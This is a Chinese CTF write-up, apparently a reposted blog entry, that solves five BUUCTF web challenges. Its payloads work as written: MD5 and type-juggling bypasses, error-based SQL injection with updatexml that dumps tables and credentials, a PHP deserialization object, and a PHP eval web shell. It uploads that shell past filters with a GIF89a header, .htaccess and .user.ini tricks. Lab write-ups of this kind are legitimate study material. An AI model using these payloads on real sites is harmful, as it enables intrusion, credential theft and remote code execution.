当前位置: 首页 > news >正文

4.15BUUCTF Ez_bypass,HardSQL,AreUSerialz,BabyUpload,CheckIn

[MRCTF2020]Ez_bypass

打开环境,看源码

include 'flag.php';
$flag='MRCTF{xxxxxxxxxxxxxxxxxxxxxxxxx}';
if(isset($_GET['gg'])&&isset($_GET['id'])) {$id=$_GET['id'];$gg=$_GET['gg'];if (md5($id) === md5($gg) && $id !== $gg) {echo 'You got the first step';if(isset($_POST['passwd'])) {$passwd=$_POST['passwd'];if (!is_numeric($passwd)){if($passwd==1234567){echo 'Good Job!';highlight_file('flag.php');die('By Retr_0');}else{echo "can you think twice??";}}else{echo 'You can not get it !';}}else{die('only one way to get the flag');}}else {echo "You are not a real hacker!";}}else{die('Please input first');}}

第一个if为强比较,使用数组可以绕过
在这里插入图片描述

弱类型比较(==)的安全漏洞

  • !is_numeric($passwd)
    检查 $passwd 是否"不是数字"(如 “123” 会被拦截,但 “123abc” 可以通过)
  • $passwd == 1234567
    使用 弱类型比较(==),会尝试将 $passwd 转换成数字后再比较,导致非严格匹配
    使用playload:password=1234567a
    在这里插入图片描述

[极客大挑战 2019]HardSQL

思路

在这里插入图片描述
遇到过它的前几版(联合查询,堆叠注入,双写绕过什么的),这次又来了
用户名输入admin,密码输入1(将密码作为注入点)
回显正常,但是密码改为1'回显不正常了
说明存在sql注入,使用联合查询看一下1' order by 3回显
在这里插入图片描述

这里改为2或1都是这个页面,说明存在过滤

sql注入的方法:万能密码-->联合查询-->堆叠注入-->报错注入
万能密码不行,联合查询,堆叠注入也不可以
看大佬的非常经典的一道SQL报错注入题目[极客大挑战 2019]HardSQL 1(两种解法!)

  • 函数updatexml() 是mysql对xml文档数据进行查询和修改的xpath函数
  • 函数extractvalue() 是mysql对xml文档数据进行查询的xpath函数
  • 注入原理:
    (在使用语句时,如果XPath_string不符合该种类格式,就会出现格式错误,并且会以系统报错的形式提示出错误!)局限性:查询字符串长度最大为32位,要突破此限制可使用right(),left(),substr()来截取字符串

做题

使用万能密码在这里插入图片描述
报错注入

查询库名
1'or(updatexml(1,concat(0x7e,database(),0x7e),1))#
在这里插入图片描述
查询表名
1'or(updatexml(1,concat(0x7e,(select(group_concat(table_name))from(information_schema.tables)where(table_schema)like(database())),0x7e),1))#
在这里插入图片描述

查询字段名
1'or(updatexml(1,concat(0x7e,(select(group_concat(column_name))from(information_schema.columns)where(table_name)like('H4rDsq1')),0x7e),1))#
在这里插入图片描述

查询前部分字段内容
1'or(updatexml(1,concat(0x7e,(select(group_concat(username,'~',password))from(H4rDsq1)),0x7e),1))#
在这里插入图片描述

查询后部分字段内容
1'or(updatexml(1,concat(0x7e,(select(group_concat((right(password,25))))from(H4rDsq1)),0x7e),1))#
在这里插入图片描述
拼接出来
flag{858aec26-847d-401e-a955-809ff510f683}

[网鼎杯 2020 青龙组]AreUSerialz

PHP反序列化题目wp

<?php
class FileHandler {public $op = 2;  // 直接设置为字符串"2"public $filename = "flag.php";public $content;
}$obj = new FileHandler();
$serialized = serialize($obj);
echo $serialized;
?>

O:11:“FileHandler”:3:{s:2:“op”;i:2;s:8:“filename”;s:8:“flag.php”;s:7:“content”;N;}
在这里插入图片描述
在这里插入图片描述

flag{d5b95529-7a68-4c36-bbfd-83a59d312883}

[GXYCTF2019]BabyUpload

  • 上传一个1.php
    内容<?php @eval($_POST['cmd']);?>
    回显这个
    在这里插入图片描述
    这就不能用phtml后缀名了(包含PHP代码的HTML文件,会被浏览器当做PHP代码执行)
    改一下小写为大写PHp,还是不行
  • 那就直接将后缀名改为1.jpg(图片的其他后缀名不行)内容还是刚刚的一句话木马
    在这里插入图片描述
    还是不行,猜测对文件内容有限制,试一下不用这个<?
  • 使用
GIF89a
<?php @eval($_POST["cmd"]);?>

上传成功
在这里插入图片描述
分析:文件上传成功了,但是jpg文件无法被当成php解析。
思路:考虑.htaccess和.user.ini配置文件控制,实现解析漏洞。

  • 上传构造的.htaccess文件
AddType application/x-httpd-php .jpg#将.jpeg文件解析为php文件

抓包要修改MIME,不然上传不成功
在这里插入图片描述
最后使用蚁剑连接就行了
访问一下,url为http://c1a8a068-dc5e-40fa-98f8-cbddbe15e007.node5.buuoj.cn:81/upload/56c33cb01c2a29de24625c749f850027/1.jpg出现
在这里插入图片描述
在这里插入图片描述
flag{831e3969-e031-4e26-b085-38b02efd4589}

[SUCTF 2019]CheckIn

分析

直接上传2.php(<?php @eval($_POST['cmd']);?>)显示非法上传
在这里插入图片描述
改为2.jpg还是上传不成功,回显<?说明存在文件内容的检查
在这里插入图片描述

将文件内容修改一下,改为GIF89a<script language="php">eval($_POST[cmd])</script>是可以上传成功的但是要想解析就需要.htaccess文件(AddType application/x-httpd-php .jpg),这次上传不了,改了MIME还是回显不是图片,那就再在文件开头加一个图片的文件头GIF89a,上传成功
在这里插入图片描述
其实回显的内容已经说了是文件头检查exif_imagetype这个是php中的一个内置函数 用于判断一个给定文件的图像类型。它通过读取文件头部的特定信息来确定文件是否为图像以及具体是哪种常见的图像类型

两个文件上传完成之后,就可以用蚁剑连接了

拓展

解析文件,这道题和上一道题的解析文件都是用的是.htaccess,这里还可以用user.ini
在文件中写入GIF89a auto_prepend_file=要解析的文件名上传即可

http://www.xdnf.cn/news/2683.html

相关文章:

  • 【Docker】运行错误提示 unknown shorthand flag: ‘d‘ in -d ----详细解决方法
  • jQuery入门和选择器
  • JavaScript-立即执行函数(Immediately Invoked Function Expression,IIFE)
  • 【AI量化第24篇】KhQuant 策略框架深度解析:让策略开发回归本质——基于miniQMT的量化交易回测系统开发实记
  • dumpsys--音频服务状态信息
  • ASP.NET Core Web API 配置系统集成
  • 解决 VSCode 中 NVM 配置后无法识别 Node 和 NPM 的问题
  • 京东3D空间视频生成技术探索与应用
  • 游戏引擎学习第230天
  • [图论]Kruskal
  • Windows快速切换屏幕/桌面
  • 如何自学机器学习?零基础到实战的完整路径
  • 超详细VMware虚拟机扩容磁盘容量-无坑版
  • 探索关系型数据库 MySQL
  • 驱动-自旋锁
  • opencv函数展示2
  • 4.17学习总结
  • 智能云图库-12-DDD重构
  • 【从零实现高并发内存池】thread cache、central cache 和 page cache 回收策略详解
  • DSO:牛津大学推出的物理一致性3D模型优化框架
  • Java与MySQL数据库连接的JDBC驱动配置教程
  • Java基础知识面试题(已整理Java面试宝典pdf版)
  • Operator 开发入门系列(一):Hello World
  • 什么是分库分表?
  • Linux中NFS服务设置
  • 《MySQL:MySQL表结构的基本操作》
  • 【天梯赛练习】L2-035 完全二叉树的层序遍历
  • 阿里云服务器的docker环境安装nacos--实践
  • 开源一体化白板工具Drawnix本地部署打造毫秒级响应的远程协作空间
  • 中介者模式(Mediator Pattern)